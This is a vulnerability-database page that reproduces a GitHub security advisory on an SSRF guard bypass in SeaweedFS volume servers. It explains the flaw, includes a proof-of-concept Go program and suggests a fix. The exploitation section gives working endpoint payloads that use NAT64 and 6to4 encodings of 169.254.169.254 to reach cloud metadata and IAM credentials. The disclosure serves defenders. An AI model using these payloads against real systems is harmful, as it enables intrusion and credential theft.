llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-FJM8-2G3V-FFJW

SSRF Guard Bypass via IPv6 Transition Addresses in Remote Storage Endpoint Validation

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición63 dDesde la divulgación, 18 sept 2026, 2:59 p. m.
Detección62 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Anótala en tu libreta de pendientes serios.Mis orejas detectan algo raro por aquí.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
18 sept 26
20 nov 26
21 nov 26
18 sept 26
4 oct 26
20 oct 26
5 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-FJM8-2G3V-FFJW divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

SSRF Guard Bypass via IPv6 Transition Addresses in Remote Storage Endpoint Validation

Summary

The `checkBlockedIP` function in both the Go volume server (`weed/server/volume_grpc_remote.go`) and the Rust volume server (`seaweed-volume/src/remote_storage/endpoint_guard.rs`) validates caller-supplied S3 remote storage endpoint URLs against internal IP ranges. The guard checks loopback, private (RFC 1918), link-local, CGNAT, and cloud metadata addresses, but does not extract or re-validate the embedded IPv4 destination from IPv6 transition addresses (NAT64 `64:ff9b::/96`, 6to4 `2002::/16`, Teredo `2001:0000::/32`, IPv4-compatible `::/96`). A caller who can configure or trigger remote storage operations can bypass the SSRF guard using a transition-encoded internal destination.

Affected Component

  • Go volume server: `weed/server/volume_grpc_remote.go` https://github.com/seaweedfs/seaweedfs/blob/master/weed/server/volume_grpc_remote.go -- `checkBlockedIP` function
  • Rust volume server: `seaweed-volume/src/remote_storage/endpoint_guard.rs` https://github.com/seaweedfs/seaweedfs/blob/master/seaweed-volume/src/remote_storage/endpoint_guard.rs -- `check_blocked_ip` function
  • Attack surface: `FetchAndWriteNeedle` gRPC endpoint, validated by `validateRemoteEndpoint` (Go) / `validate_remote_endpoint` (Rust)
  • Guard also used by: `guardedDialer` (Go) -- the DNS-rebinding dial-time re-validation uses the same incomplete `checkBlockedIP`
  • Version: HEAD (both Go and Rust)

Root Cause (CWE-918)

Go (`weed/server/volume_grpc_remote.go`):
func checkBlockedIP(endpoint string, ip net.IP) error {
    // ...
    switch {
    case ip.IsLoopback():
        // blocked
    case ip.IsUnspecified():
        // blocked
    case ip.IsLinkLocalUnicast(), ip.IsLinkLocalMulticast():
        // blocked
    case ip.IsInterfaceLocalMulticast():
        // blocked
    case ip.IsPrivate():
        // blocked
    case cgnatNet.Contains(ip):
        // blocked
    }
    return nil  // <-- NAT64/6to4/Teredo addresses fall through here
}
Rust (`seaweed-volume/src/remote_storage/endpoint_guard.rs`):
pub fn check_blocked_ip(endpoint: &str, ip: IpAddr) -> Result<(), String> {
    let ip = match ip {
        IpAddr::V6(v6) => match v6.to_ipv4_mapped() {
            Some(v4) => IpAddr::V4(v4),    // only handles ::ffff: mapped
            None => IpAddr::V6(v6),
        },
        other => other,
    };
    // checks: IMDS, loopback, unspecified, link-local, private, CGNAT
    // NAT64/6to4/Teredo pass through unchecked
    Ok(())
}

Both implementations handle `::ffff:`-mapped IPv4 (Go via `To4()` normalization, Rust via `to_ipv4_mapped()`), but neither extracts the embedded IPv4 from:

| Transition form | RFC | Embedding | Example (127.0.0.1) |
|---|---|---|---|
| NAT64 `64:ff9b::/96` | RFC 6052 | low 32 bits | `64:ff9b::7f00:1` |
| 6to4 `2002::/16` | RFC 3056 | bits 16-47 | `2002:7f00:0001::` |
| Teredo `2001:0000::/32` | RFC 4380 | low 32 bits XOR 0xFFFFFFFF | `2001:0000:4136:e378:8000:63bf:80ff:fffe` |
| IPv4-compatible `::/96` | RFC 4291 | low 32 bits | `::7f00:1` |

Exploitation

An attacker who can issue `FetchAndWriteNeedle` gRPC calls to a volume server (or influence the remote storage endpoint URL through the filer API) supplies a transition-encoded internal destination:

S3Endpoint = "http://[64:ff9b::a9fe:a9fe]/"
  1. `validateRemoteEndpoint` parses the URL and extracts host `64:ff9b::a9fe:a9fe`.
  2. `checkBlockedIP` checks the IPv6 address: not loopback, not private, not link-local, not CGNAT -- all checks pass.
  3. The volume server dials the NAT64 address `64:ff9b::a9fe:a9fe`.
  4. On a network with NAT64 infrastructure, this routes to `169.254.169.254` (cloud metadata).
  5. The `guardedDialer` re-validates at dial time using the same `checkBlockedIP` -- still passes.

6to4 variant (no NAT64 infrastructure needed on networks with a 6to4 relay):

S3Endpoint = "http://[2002:a9fe:a9fe::1]/"

Proof of Concept

Go test demonstrating the bypass in `checkBlockedIP`:

package main

import (
    "fmt"
    "net"
)

func main() {
    blocked := func(ip string) bool {
        parsed := net.ParseIP(ip)
        return parsed.IsLoopback() || parsed.IsPrivate() ||
            parsed.IsLinkLocalUnicast() || parsed.IsLinkLocalMulticast() ||
            parsed.IsInterfaceLocalMulticast() || parsed.IsUnspecified()
    }

    // Correctly blocked:
    fmt.Println("127.0.0.1:", blocked("127.0.0.1"))           // true
    fmt.Println("10.0.0.1:", blocked("10.0.0.1"))              // true
    fmt.Println("169.254.169.254:", blocked("169.254.169.254")) // true
    fmt.Println("::1:", blocked("::1"))                         // true

    // BYPASS -- transition addresses encoding the same targets:
    fmt.Println("64:ff9b::7f00:1:", blocked("64:ff9b::7f00:1"))           // false (NAT64 -> 127.0.0.1)
    fmt.Println("64:ff9b::a9fe:a9fe:", blocked("64:ff9b::a9fe:a9fe"))     // false (NAT64 -> 169.254.169.254)
    fmt.Println("2002:7f00:0001::", blocked("2002:7f00:0001::"))           // false (6to4 -> 127.0.0.1)
    fmt.Println("2002:a9fe:a9fe::", blocked("2002:a9fe:a9fe::"))           // false (6to4 -> 169.254.169.254)
    fmt.Println("::7f00:1:", blocked("::7f00:1"))                          // false (IPv4-compat -> 127.0.0.1)
}

Output:

127.0.0.1: true
10.0.0.1: true
169.254.169.254: true
::1: true
64:ff9b::7f00:1: false
64:ff9b::a9fe:a9fe: false
2002:7f00:0001:: false
2002:a9fe:a9fe:: false
::7f00:1: false

Impact

  • SSRF to internal network: A caller with access to the `FetchAndWriteNeedle` gRPC endpoint can read from internal services via transition-encoded addresses. This bypasses both the initial endpoint validation and the dial-time DNS-rebinding guard.
  • Cloud metadata exfiltration: The NAT64 and 6to4 encodings of 169.254.169.254 bypass the SSRF guard, enabling access to cloud instance metadata (IAM credentials, instance identity) on AWS/GCP/Azure deployments.
  • Network-dependent severity: Full exploitation requires the deployment network to have NAT64 or 6to4 relay infrastructure, which is common in IPv6-transitioning cloud environments.
  • Both language implementations affected: The Go volume server and the Rust volume server (seaweed-volume) share the identical gap.

Suggested Fix

Extract the embedded IPv4 from transition addresses and re-validate it against the existing deny list. Go example:

func checkBlockedIP(endpoint string, ip net.IP) error {
    // ... existing checks ...

    // IPv6 transition: extract embedded IPv4 and re-check
    if embedded := embeddedTransitionIPv4(ip); embedded != nil {
        return checkBlockedIP(endpoint, embedded)
    }
    return nil
}

func embeddedTransitionIPv4(ip net.IP) net.IP {
    v6 := ip.To16()
    if v6 == nil || ip.To4() != nil { return nil }
    switch {
    case v6[0]==0x00 && v6[1]==0x64 && v6[2]==0xff && v6[3]==0x9b: // NAT64
        return net.IPv4(v6[12], v6[13], v6[14], v6[15])
    case v6[0]==0x20 && v6[1]==0x02: // 6to4
        return net.IPv4(v6[2], v6[3], v6[4], v6[5])
    // ... Teredo, IPv4-compatible
    }
    return nil
}

The mailpit project (`axllent/mailpit`) has a complete reference implementation in `internal/tools/net.go` that covers all transition forms including ISATAP.

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≥ 4.24 ≤ 4.41
4.24
4.41
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-fjm8-2g3v-ffjw

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.